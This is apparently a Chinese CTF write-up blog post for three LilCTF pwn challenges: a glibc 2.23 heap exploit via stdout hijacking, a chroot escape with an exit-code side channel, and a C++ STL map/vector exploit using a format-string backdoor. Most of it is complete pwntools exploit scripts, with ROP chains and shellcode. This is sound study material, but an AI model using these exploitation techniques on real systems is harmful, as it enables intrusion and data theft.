前言
前不久打了一下Lilctf,全全爆零了,自己还是太菜了,但赛后复现,真的可以学到很多,收获满满
heap_Pivoting
题目分析
静态编译的glibc2.23的堆题,去除了符号表,建议先恢复一下符号表再做题,会方便很多(将sig文件放在ida的sig文件夹里,然后恢复一下就好了,很方便)
大体攻击流程:unstorebin_attack劫持chunk_list,修改main_arena中的topchunk,劫持stdout,flush泄露environ,修改栈ret劫持控制流,orw
之前的main_arena一直都是用来泄露libc的,也没细了解过,卡在这里一直没有进一步的进展,赛后才知晓可以修改topchunk中的内容,来劫持topchunk,实现任意申请,又学到新知识了~~
劫持stdout就是劫持flag标志位和_IO_write_base,ptr,end
,就可以利用flush刷新缓冲区泄露了,flush,openat,read,write函数的地址,在恢复符号表后都可以找到,至于environ,是在调试的过程中全局搜索得到的,大家有其他搜索办法的话欢迎留言噢~~,让我再学习学习

完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97
| from pwn import *
context(arch="amd64", os="linux") context.log_level='debug' context.terminal = ["tmux", "splitw", "-v", "-l", "190"]
libc_base=0x0 heap_base=0x0 pie=0x0
def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
r = lambda a : p.recv(a) rl = lambda a=False : p.recvline(a) ru = lambda a : p.recvuntil(a) s = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) shell = lambda : p.interactive() li = lambda offset :libc_base+offset lis= lambda func :libc_base+libc.symbols[func] pi = lambda offset :pie+offset he = lambda offset :heap_base+offset l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00')) ggg = lambda :(gdb.attach(p),pause())
def add(index,content): sla(b'Your choice:\n',b'1') sla(b'idx:',str(index).encode()) sa(b'what do you want to say\n',content)
def dle(index): sla(b'Your choice:\n',b'2') sla(b'idx:',str(index).encode())
def edit(index,content): sla(b'Your choice:\n',b'3') sla(b'idx:',str(index).encode()) sa(b'context: ',content)
def esc(): sla(b'Your choice:\n',b'4') rsi=0x0000000000401b37 rdi=0x0000000000401a16 rdx=0x0000000000443136 leave=0x0000000000400aa5 syscall=0x00000000004003da rax=0x000000000041fc84 chunk=0x6ccd60 free_hook=0x6cc5e8 malloc_fook=0x00000000006CA788 stdout=0x6ca740 io_list_all=0x00000000006ca0e0 push_rdi=0x00000000004301de flush=0x416770 read=0x43fca0 write=0x43fd00 open=0x43fc40 p=process('./pwn')
add(0,b'a'*0x20) add(1,b'a'*0x60+p64(0)+p64(0x21561)) dle(0) edit(0,p64(chunk-0x10)*2) add(2,b'a'*0x20) edit(0,p64(chunk) + p64(0) + p64(0x6CA858) * 2) add(3,b'a')
def input(addr, date): edit(3, p64(addr)) edit(2, date)
flush = 0x416770 environ = 0x6CC640 stdout = 0x6CA300 free_hook = 0x6CC5E8 fake_io = p64(0xFBAD1800) fake_io += p64(0) fake_io += p64(0) fake_io += p64(environ) fake_io += p64(environ) fake_io += p64(environ + 0x10) input(stdout, fake_io) input(free_hook, p64(flush)) ggg() dle(0) stack=l64() flag=stack-0x180+0xd0 rop=p64(rdi)+p64(flag)+p64(rsi)+p64(0)+p64(open)+p64(rdi)+p64(3)+p64(rsi)+p64(0x6cc000)+p64(rdx)+p64(0x30)+p64(read)+p64(rdi)+p64(1)+p64(rsi)+p64(0x6cc000)+p64(rdx)+p64(0x30)+p64(write) rop=rop.ljust(0xd0,b'\x00')+b'flag\x00' print(hex(stack)) input(stack-0x180,rop) shell()
|
The Truman Show
chroot逃逸
参考文章:chroot&namespace逃逸总结 |C_LBY的博客
chroot介绍
在内核中有一个结构体:
1 2 3 4 5 6 7
| struct fs_struct { atomic_t count; rwlock_t lock; int umask; struct dentry * root, * pwd, * altroot; struct vfsmount * rootmnt, * pwdmnt, * altrootmnt; };
|
root:根目录的目录项
pwd:当前工作目录的目录项
altroot:模拟根目录的目录项
而root就是改变了这个进程的内核中的root,也就意味着改变了这个进程的的根目录,但是没有改变当前目录(工作目录)pwd,其实是可以通过工作目录来访问jail之外的,所以一般在chroot之后都会加一个chdir("/")
,来将pwd改为根目录,这样无论是root还是pwd,都在jail内了
逃逸方法
这里注意函数int fchdir(int fd)
,这个函数也是用来改变pwd的,这就意味着,如果系统中如果存在一个fd是在jail之外的,就可以将pwd改变到jail之外,就可以实现chroot逃逸了
这里注意函数openat
1 2
| int openat(int dirfd, const char *pathname, int flags, mode_t mode); openat(3,"flag",0,0)
|
当pathname
为绝对路径,或者是dirfd
被设置为AT_FDCWD
为,dirfd
无效
否则会打开dirfd
文件描述符指向的那个目录所在的文件
向上述示例,如果3为根目录下的文件描述符,那么上述示例就打开了根目录下的flag文件,实现了chroot逃逸
注意函数linkat
路径真正的文件实体是 inode
,路径名是inode
的名字,这个函数可以会创建一个指向同一个inode
的新文件
1 2
| int linkat(int efd, const char *existingpath, int nfd, const char *newpath, int flags); linkat(3,"flag",4,"/newflag",0)
|
上述指令会在根目录创建一个新文件newflag,并且这个文件的inode
指向文件描述符为3的目录下的flag文件,这样通过打开/newflag
文件,就相当于打开了jail外的flag文件,实现了chroot逃逸
当然如果existingpath
或者是newpath
为绝对路径的话,对应的efd
和nfd
就会失效
也可以嵌套chroot逃逸(ubuntu24.04以后失效了)
通过调用chroot,使得pwd不在jail环境内,通过对相对路径上级目录的访问,就可以实现chroot逃逸
exit测信道
exit()
会把传入的整数作为 退出码 (exit code) 返回给父进程。
父进程或者攻击者可以用:echo $?
来打印这个退出码,就可以泄露flag了
题目分析
在本地运行程序和gdb调试的时候由于权限不够,不能调用chroot
,加个权限就好了
1 2
| sudo setcap cap_sys_ptrace+ep $(which gdb) sudo setcap cap_sys_chroot+ep ./chtest
|
这里可以看到,他留了一个jail外的fd为2

看一下沙盒

基本也就这样了,直接上exp:
完整exp
本地exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| from pwn import * import sys
context(arch="amd64", os="linux") context.log_level='debug' context.terminal = ["tmux", "splitw", "-v", "-l", "190"]
libc_base=0x0 heap_base=0x0 pie=0x0
def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
r = lambda a : p.recv(a) rl = lambda a=False : p.recvline(a) ru = lambda a : p.recvuntil(a) s = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) shell = lambda : p.interactive() li = lambda offset :libc_base+offset lis= lambda func :libc_base+libc.symbols[func] pi = lambda offset :pie+offset he = lambda offset :heap_base+offset l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00')) ggg = lambda :(gdb.attach(p),pause())
flag = ""
for off in range(0x30): while True: try: p = process('./chtest')
shellcode = f''' push 0x67616c66 push rsp pop rsi push 2 pop rdi xor edx, edx mov ax, 0x101 syscall
push rax pop rdi pop rdx xor eax, eax syscall
mov edi, dword ptr [rsp-{8-off}] push 60 pop rax syscall ''' sc = asm(shellcode)
p.recvuntil("Now it's your show time") p.send(sc)
p.wait() exit_code = p.poll() log.success(f"Program exited with code: {exit_code:#x}")
if 0x20 <= exit_code <= 0x7e: ch = chr(exit_code) flag += ch print(f"[+] Got char {ch!r} at offset {off}")
if ch == "}": print("[+] Flag complete!") print("FLAG =", flag) sys.exit(0) break
p.close() time.sleep(0.1)
except Exception as e: print("[!] Exception:", e) try: p.close() except: pass time.sleep(0.1)
print("FLAG =", flag)
|
远程exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| remote from pwn import * import sys
context(arch="amd64", os="linux") context.log_level='debug' context.terminal = ["tmux", "splitw", "-v", "-l", "190"]
libc_base=0x0 heap_base=0x0 pie=0x0
def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
r = lambda a : p.recv(a) rl = lambda a=False : p.recvline(a) ru = lambda a : p.recvuntil(a) s = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) shell = lambda : p.interactive() li = lambda offset :libc_base+offset lis= lambda func :libc_base+libc.symbols[func] pi = lambda offset :pie+offset he = lambda offset :heap_base+offset l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00')) ggg = lambda :(gdb.attach(p),pause())
flag = ""
for off in range(0x30): while True: try: p = remote('gz.imxbt.cn', 20797)
shellcode = f''' push 0x67616c66 push rsp pop rsi push 2 pop rdi xor edx, edx mov ax, 0x101 syscall
push rax pop rdi pop rdx xor eax, eax syscall
mov edi, dword ptr [rsp-{8-off}] push 60 pop rax syscall ''' sc = asm(shellcode)
ru("Now it's your show time") s(sc)
data = p.recvall(timeout=2) print("raw:", data)
last_line = data.strip().split(b'\n')[-1] exit_code = int(last_line)
if 0x20 <= exit_code <= 0x7e: ch = chr(exit_code) flag += ch print(f"[+] Got char {ch!r} at offset {off}")
if ch == "}": print("[+] Flag complete!") print("FLAG =", flag) sys.exit(0) break
p.close() time.sleep(0.1)
except Exception as e: print("[!] Exception:", e) try: p.close() except: pass time.sleep(0.1)
print("FLAG =", flag)
|
I like C艹
前置学习
第一次尝试和C++的vector
动态数组堆管理和STL
有关的题目,学到了不少
这个题目用到了C++ STL
的容器类 std::map
,而map
底层是通过红黑树来来实现的
std::map<Key, T>
是一个 模板类,所以 键(Key)和值(T)都是自己定义的类型,本题中
1
| std::map<std::string,std::vector<item>>::map(db, argv);
|
key为string
,T为vector<item>
,这一行也就相当于创建了一个空的map,现在像map中插入一个节点,看一下内存中的效果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| def addt(typea): sla(b'Enter your choice: ',b'1') sla(b'Enter item type: ',typea)
def add(typed,name,des): sla(b'Enter your choice: ',b'2') sla(b'Enter item type: ',typed) sla(b'Enter item name: ',name) sla(b'Enter item description: ',des)
def edit(typed,index,name,des): sla(b'Enter your choice: ',b'3') sla(b'Enter item type: ',typed) sla(b'Enter item index: ',str(index).encode()) sla(b'Enter item name: ',name) sla(b'Enter item description: ',des)
def show(typed,index): sla(b'Enter your choice: ',b'4') sla(b'Enter item type: ',typed) sla(b'Enter item index: ',str(index).encode())
p=process('./pwn') addt(b'type1')
|
1 2 3 4 5 6 7 8
| pwndbg> x/60gx 0x64c53ae862a0 0x64c53ae862a0: 0x0000000000000000 0x0000000000000061 0x64c53ae862b0: 0x0000000000000001 0x00007ffda54dfcb8 0x64c53ae862c0: 0x0000000000000000 0x0000000000000000 0x64c53ae862d0: 0x000064c53ae862e0 0x0000000000000005 0x64c53ae862e0: 0x0000003165707974 0x0000000000000000 0x64c53ae862f0: 0x0000000000000000 0x0000000000000000 0x64c53ae86300: 0x0000000000000000 0x000000000000ed01
|
从0xb0~0xd0是红黑树自身的结构指针:
0xb0的比特代表这个这个节点是红色还是黑色,目前是1,所以这个节点是红色,后0x18的空间依次代表此节点的父节点,左节点,右节点,0x00007ffda54dfcb8
中储存着是这棵树目前的状态,包含这棵树的根,最左节点,最右节点,存储的节点的数量等等,感兴趣的可以自己学习一下
0xd0~0xf0是string的实现:
前8个字节代表着指向str的ptr,再之后的8个字节代表着str的length,而之后的0x10的长度则用来存储string,如果str的长度超过了0x10(实际比这个长度要小,具体没有仔细尝试),就会动态分配chunk,貌似和vector的分配机制是一样的,按照1,2,4,8,16…这样来分配的,先将数据存储到这个chunk中,如果chunk的大小不够,就会free这个chunk,然后分配一个更大的chunk,将数据拷贝过来,接着存储数据,这样子,上述例子只有5个字节的str,完全够用,所以没有额外分配chunk
最后0xf0~0xf8,这三个槽位对应的vector<item>
,接下来向其中添加一个item,看一下效果
1
| add(b'type1',b'taotao',b'a'*0x10)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| pwndbg> x/60gx 0x60fd90b242a0 0x60fd90b242a0: 0x0000000000000000 0x0000000000000061 0x60fd90b242b0: 0x0000000000000001 0x00007ffccc908148 0x60fd90b242c0: 0x0000000000000000 0x0000000000000000 0x60fd90b242d0: 0x000060fd90b242e0 0x0000000000000005 0x60fd90b242e0: 0x0000003165707974 0x0000000000000000 0x60fd90b242f0: 0x000060fd90b24310 0x000060fd90b24370 0x60fd90b24300: 0x000060fd90b24370 0x0000000000000071 0x60fd90b24310: 0x000060fd90b24320 0x0000000000000006 0x60fd90b24320: 0x00006f61746f6174 0x0000000000000000 0x60fd90b24330: 0x000060fd90b24380 0x0000000000000010 0x60fd90b24340: 0x000000000000001e 0x0061616161616161 0x60fd90b24350: 0x0000000000000006 0x000060fd90b24320 0x60fd90b24360: 0x0000000000000010 0x000060fd90b24380 0x60fd90b24370: 0x0000000000000000 0x0000000000000031 0x60fd90b24380: 0x6161616161616161 0x6161616161616161 0x60fd90b24390: 0x0000000000000000 0x0000000000000000
|
可以看到,原本是空的,现在已经存储了指针,这三个ptr类似于io结构体中缓冲区的实现,是分别是base,ptr,end
目前可以看到ptr和end已经一样了,说明已经满了,如果再次添加item,就会将目前这个chunk free掉也就是0x000060fd90b24310
,然后然后分配一个更大的chunk,将数据拷贝过来,并更新ptr,按照1,2,4,8,16…这样来分配chunk
那顺便将题目中item这个结构体也说一下吧

从上面的0x000060fd90b24310
内存中的数据和item的构造函数来看,其实就是两个string加了这两个string中string_view,也就是length和ptr,共0x60的大小
题目分析
可以看到,在case3的edit函数实现中,只修改了item结构体的两个string,却没有修改string_view

而在case4的show函数实现中,却是通过string_view来实现的,故可以利用此来泄露信息

当然在case0x1BF52
,题目还给了后门漏洞fmt,后面再说
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| from pwn import * import sys
context(arch="amd64", os="linux") context.log_level='debug' context.terminal = ["tmux", "splitw", "-v", "-l", "190"]
libc_base=0x0 heap_base=0x0 pie=0x0
def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
r = lambda a : p.recv(a) rl = lambda a=False : p.recvline(a) ru = lambda a : p.recvuntil(a) s = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) shell = lambda : p.interactive() li = lambda offset :libc_base+offset lis= lambda func :libc_base+libc.symbols[func] pi = lambda offset :pie+offset he = lambda offset :heap_base+offset l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00')) ggg = lambda :(gdb.attach(p),pause())
def addt(typea): sla(b'Enter your choice: ',b'1') sla(b'Enter item type: ',typea)
def add(typed,name,des): sla(b'Enter your choice: ',b'2') sla(b'Enter item type: ',typed) sla(b'Enter item name: ',name) sla(b'Enter item description: ',des)
def edit(typed,index,name,des): sla(b'Enter your choice: ',b'3') sla(b'Enter item type: ',typed) sla(b'Enter item index: ',str(index).encode()) sla(b'Enter item name: ',name) sla(b'Enter item description: ',des)
def show(typed,index): sla(b'Enter your choice: ',b'4') sla(b'Enter item type: ',typed) sla(b'Enter item index: ',str(index).encode())
p=process('./pwn') addt(b'type1') add(b'type1',b'taotao',b'a'*0x10) edit('type1',0,b'taotao',b'a'*0x20) show(b'type1',0) ru(b'Item description: ') heap_base=((u64(p.recv(5).ljust(8,b'\x00')))<<12)-0x12000 print(hex(heap_base)) ggg()
shell()
|
如此便可以泄露heap_base
接着看一下后门case,可以看到,如果v32=arr[0]的验证通过,就会向init里写入函数地址,然后在错误输入的时候会调用这个函数(这里好像和v30没有关系,无论v30是啥,最后都会调用偏移为0xea3c的函数)
由于我们已经泄露了heap的地址,而v32就是heap的地址,所以可以通过验证判断


跟进偏移为0xea3c的函数后发现,是空函数的连续调用,然后就可以在最深层调用发现后门函数

先通过fmt泄露stack,canary,libc,然后用scanf的溢出,就可以成功劫持控制流
注意 这里要注意避免输入\x0a,\x20
等等会使scanf停止读入的字符,导致rop链不完整
完整exp
最后远程不能getshell,用orw来读
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| from pwn import * import sys
context(arch="amd64", os="linux") context.log_level='debug' context.terminal = ["tmux", "splitw", "-v", "-l", "190"]
libc_base=0x0 heap_base=0x0 pie=0x0
def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
r = lambda a : p.recv(a) rl = lambda a=False : p.recvline(a) ru = lambda a : p.recvuntil(a) s = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) shell = lambda : p.interactive() li = lambda offset :libc_base+offset lis= lambda func :libc_base+libc.symbols[func] pi = lambda offset :pie+offset he = lambda offset :heap_base+offset l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00')) ggg = lambda :(gdb.attach(p),pause())
def addt(typea): sla(b'Enter your choice: ',b'1') sla(b'Enter item type: ',typea)
def add(typed,name,des): sla(b'Enter your choice: ',b'2') sla(b'Enter item type: ',typed) sla(b'Enter item name: ',name) sla(b'Enter item description: ',des)
def edit(typed,index,name,des): sla(b'Enter your choice: ',b'3') sla(b'Enter item type: ',typed) sla(b'Enter item index: ',str(index).encode()) sla(b'Enter item name: ',name) sla(b'Enter item description: ',des)
def show(typed,index): sla(b'Enter your choice: ',b'4') sla(b'Enter item type: ',typed) sla(b'Enter item index: ',str(index).encode())
def backdoor(): ru(b'Enter your choice: ') sl(str(0x1BF52).encode()) ru(b'\x88') sl(str(he(0x12400)).encode()) libc=ELF('./libc.so.6')
p=remote('gz.imxbt.cn',20132) addt(b'type1') add(b'type1',b'taotao',b'a'*0x10) edit('type1',0,b'a/flag',b'a'*0x20) show(b'type1',0) ru(b'Item description: ') heap_base=((u64(p.recv(5).ljust(8,b'\x00')))<<12)-0x12000 print(hex(heap_base)) backdoor() ru(b'Enter your choice: ') sl(b'8') ru(b'Invalid choice.') sl(b'%6$p%15$p%54$ptaotao') ru(b'0x') stack=int(ru(b'0x')[:-2],16) canary=int(ru(b'0x')[:-2],16) libc_base=int(ru(b'tao')[:-3],16)-0x203ac0 print(hex(stack)) print(hex(canary)) print(hex(libc_base)) system,binsh=getshell() rdi=li(0x000000000010f75b) rsi=li(0x000000000010f759) rdx=li(0x00000000000981ad) rbp=li(0x0000000000028a91) open=lis('open') read=lis('read') write=lis('write') flag=he(0x12321) payload=b'a'*0x18+p64(canary)+b'a'*0x18 payload+=p64(rdi)+p64(flag)+p64(rsi)+p64(0)*2+p64(open+4)+p64(rdi)+p64(3)+p64(rsi)+p64(he(0x12500))+p64(0)+p64(rbp)+p64(stack+0x98)+p64(rdx)+p64(0x30)+p64(read)+p64(rdi)+p64(1)+p64(rsi)+p64(he(0x12500))+p64(0)+p64(write)
ru(b'tao') print(hex(open)) sl(payload) shell()
|